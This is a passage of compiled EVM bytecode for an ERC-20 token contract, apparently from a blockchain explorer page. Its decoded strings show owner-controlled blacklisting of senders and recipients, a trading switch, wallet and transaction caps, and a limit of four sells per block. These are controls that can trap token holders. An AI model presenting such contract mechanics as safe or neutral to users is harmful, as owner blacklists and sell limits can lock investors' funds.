f66136a8565b5b81810290505b9392505050565b5f61380e826132ae565b9150613819836133f5565b92506138467fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613733565b905092915050565b5f613858826132ae565b9150613863836132ae565b9250828202613871816132ae565b91508282048414831517613888576138876136a8565b5b5092915050565b5f8151905061389d816132b7565b92915050565b5f602082840312156138b8576138b761324c565b5b5f6138c58482850161388f565b91505092915050565b5f6040820190506138e15f83018561351b565b6138ee6020830184613352565b9392505050565b5f8151905061390381613429565b92915050565b5f6020828403121561391e5761391d61324c565b5b5f61392b848285016138f5565b91505092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6139686020836131c6565b915061397382613934565b602082019050919050565b5f6020820190508181035f8301526139958161395c565b9050919050565b7f43616e6e6f7420626c61636b6c697374206f776e6572000000000000000000005f82015250565b5f6139d06016836131c6565b91506139db8261399c565b602082019050919050565b5f6020820190508181035f8301526139fd816139c4565b9050919050565b7f43616e6e6f7420626c61636b6c69737420636f6e7472616374000000000000005f82015250565b5f613a386019836131c6565b9150613a4382613a04565b602082019050919050565b5f6020820190508181035f830152613a6581613a2c565b9050919050565b7f43616e6e6f7420626c61636b6c697374207461782077616c6c657400000000005f82015250565b5f613aa0601b836131c6565b9150613aab82613a6c565b602082019050919050565b5f6020820190508181035f830152613acd81613a94565b9050919050565b7f43616e6e6f7420626c61636b6c697374207061697200000000000000000000005f82015250565b5f613b086015836131c6565b9150613b1382613ad4565b602082019050919050565b5f6020820190508181035f830152613b3581613afc565b9050919050565b7f43616e6e6f7420626c61636b6c69737420726f757465720000000000000000005f82015250565b5f613b706017836131c6565b9150613b7b82613b3c565b602082019050919050565b5f6020820190508181035f830152613b9d81613b64565b9050919050565b5f613bae826132ae565b9150613bb9836132ae565b9250828203905081811115613bd157613bd06136a8565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f613c0e826132ae565b9150613c19836132ae565b925082613c2957613c28613bd7565b5b828204905092915050565b5f613c3e826132ae565b9150613c49836132ae565b9250828201905080821115613c6157613c606136a8565b5b92915050565b5f819050919050565b5f613c8a613c85613c8084613254565b613c67565b613254565b9050919050565b5f613c9b82613c70565b9050919050565b5f613cac82613c91565b9050919050565b613cbc81613ca2565b82525050565b5f604082019050613cd55f830185613cb3565b613ce26020830184613352565b9392505050565b7f696e76616c6964000000000000000000000000000000000000000000000000005f82015250565b5f613d1d6007836131c6565b9150613d2882613ce9565b602082019050919050565b5f6020820190508181035f830152613d4a81613d11565b9050919050565b5f819050919050565b5f613d74613d6f613d6a84613d51565b613c67565b6132ae565b9050919050565b613d8481613d5a565b82525050565b5f60c082019050613d9d5f83018961351b565b613daa6020830188613352565b613db76040830187613d7b565b613dc46060830186613d7b565b613dd1608083018561351b565b613dde60a0830184613352565b979650505050505050565b5f5f5f60608486031215613e0057613dff61324c565b5b5f613e0d8682870161388f565b9350506020613e1e8682870161388f565b9250506040613e2f8682870161388f565b9150509250925092565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f613e6d6017836131c6565b9150613e7882613e39565b602082019050919050565b5f6020820190508181035f830152613e9a81613e61565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f613f286024836131c6565b9150613f3382613ece565b604082019050919050565b5f6020820190508181035f830152613f5581613f1c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f613fb66022836131c6565b9150613fc182613f5c565b604082019050919050565b5f6020820190508181035f830152613fe381613faa565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6140446025836131c6565b915061404f82613fea565b604082019050919050565b5f6020820190508181035f83015261407181614038565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6140d26023836131c6565b91506140dd82614078565b604082019050919050565b5f6020820190508181035f8301526140ff816140c6565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6141606029836131c6565b915061416b82614106565b604082019050919050565b5f6020820190508181035f83015261418d81614154565b9050919050565b7f53656e64657220697320626c61636b6c697374656400000000000000000000005f82015250565b5f6141c86015836131c6565b91506141d382614194565b602082019050919050565b5f6020820190508181035f8301526141f5816141bc565b9050919050565b7f526563697069656e7420697320626c61636b6c697374656400000000000000005f82015250565b5f6142306018836131c6565b915061423b826141fc565b602082019050919050565b5f6020820190508181035f83015261425d81614224565b9050919050565b7f74726164696e67206973206e6f74206f70656e000000000000000000000000005f82015250565b5f6142986013836131c6565b91506142a382614264565b602082019050919050565b5f6020820190508181035f8301526142c58161428c565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f6143006019836131c6565b915061430b826142cc565b602082019050919050565b5f6020820190508181035f83015261432d816142f4565b9050919050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f614368601a836131c6565b915061437382614334565b602082019050919050565b5f6020820190508181035f8301526143958161435c565b9050919050565b5f6143a6826132ae565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036143d8576143d76136a8565b5b600182019050919050565b7f4f6e6c7920342073656c6c732070657220626c6f636b210000000000000000005f82015250565b5f6144176017836131c6565b9150614422826143e3565b602082019050919050565b5f6020820190508181035f8301526144448161440b565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6144a56021836131c6565b91506144b08261444b565b604082019050919050565b5f6020820190508181035f8301526144d281614499565b9050919050565b7f536166654d6174683a206469766973696f6e206279207a65726f0000000000005f82015250565b5f61450d601a836131c6565b9150614518826144d9565b602082019050919050565b5f6020820190508181035f83015261453a81614501565b9050919050565b7f5265656e7472616e6379206775617264000000000000000000000000000000005f82015250565b5f6145756010836131c6565b915061458082614541565b602082019050919050565b5f6020820190508181035f8301526145a281614569565b9050919050565b7f4e6f20746f6b656e7320746f20737761700000000000000000000000000000005f82015250565b5f6145dd6011836131c6565b91506145e8826145a9565b602082019050919050565b5f6020820190508181035f83015261460a816145d1565b9050919050565b7f4554482062616c616e63652064656372656173656400000000000000000000005f82015250565b5f6146456015836131c6565b915061465082614611565b602082019050919050565b5f6020820190508181035f83015261467281614639565b9050919050565b7f4d756c7469706c69636174696f6e206f766572666c6f770000000000000000005f82015250565b5f6146ad6017836131c6565b91506146b882614679565b602082019050919050565b5f6020820190508181035f8301526146da816146a1565b9050919050565b5f81905092915050565b50565b5f6146f95f836146e1565b9150614704826146eb565b5f82019050919050565b5f614718826146ee565b9150819050919050565b7f455448207472616e73666572206661696c6564000000000000000000000000005f82015250565b5f6147566013836131c6565b915061476182614722565b602082019050919050565b5f6020820190508181035f8301526147838161474a565b9050919050565b7f536166654d6174683a207375627472616374696f6e206f766572666c6f7700005f82015250565b5f6147be601e836131c6565b91506147c98261478a565b602082019050919050565b5f6020820190508181035f8301526147eb816147b2565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f614826601b836131c6565b9150614831826147f2565b602082019050919050565b5f6020820190508181035f8301526148538161481a565b9050919050565b7f416d6f756e74206d7573742062652067726561746572207468616e20300000005f82015250565b5f61488e601d836131c6565b91506148998261485a565b602082019050919050565b5f6020820190508181035f8301526148bb81614882565b9050919050565b7f526f75746572206e6f74207365740000000000000000000000000000000000005f82015250565b5f6148f6600e836131c6565b9150614901826148c2565b602082019050919050565b5f6020820190508181035f830152614923816148ea565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f8151905061496581613284565b92915050565b5f602082840312156149805761497f61324c565b5b5f61498d84828501614957565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6149c881613273565b82525050565b5f6149d983836149bf565b60208301905092915050565b5f602082019050919050565b5f6149fb82614996565b614a0581856149a0565b9350614a10836149b0565b805f5b83811015614a40578151614a2788826149ce565b9750614a32836149e5565b925050600181019050614a13565b5085935050505092915050565b5f60a082019050614a605f830188613352565b614a6d6020830187613d7b565b8181036040830152614a7f81866149f1565b9050614a8e606083018561351b565b614a9b6080830184613352565b969550505050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122047b075f51a734a91b8150996c4223056a3a5ddfc7eb2c446d398e8dbf1d5218464736f6c634300081e0033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.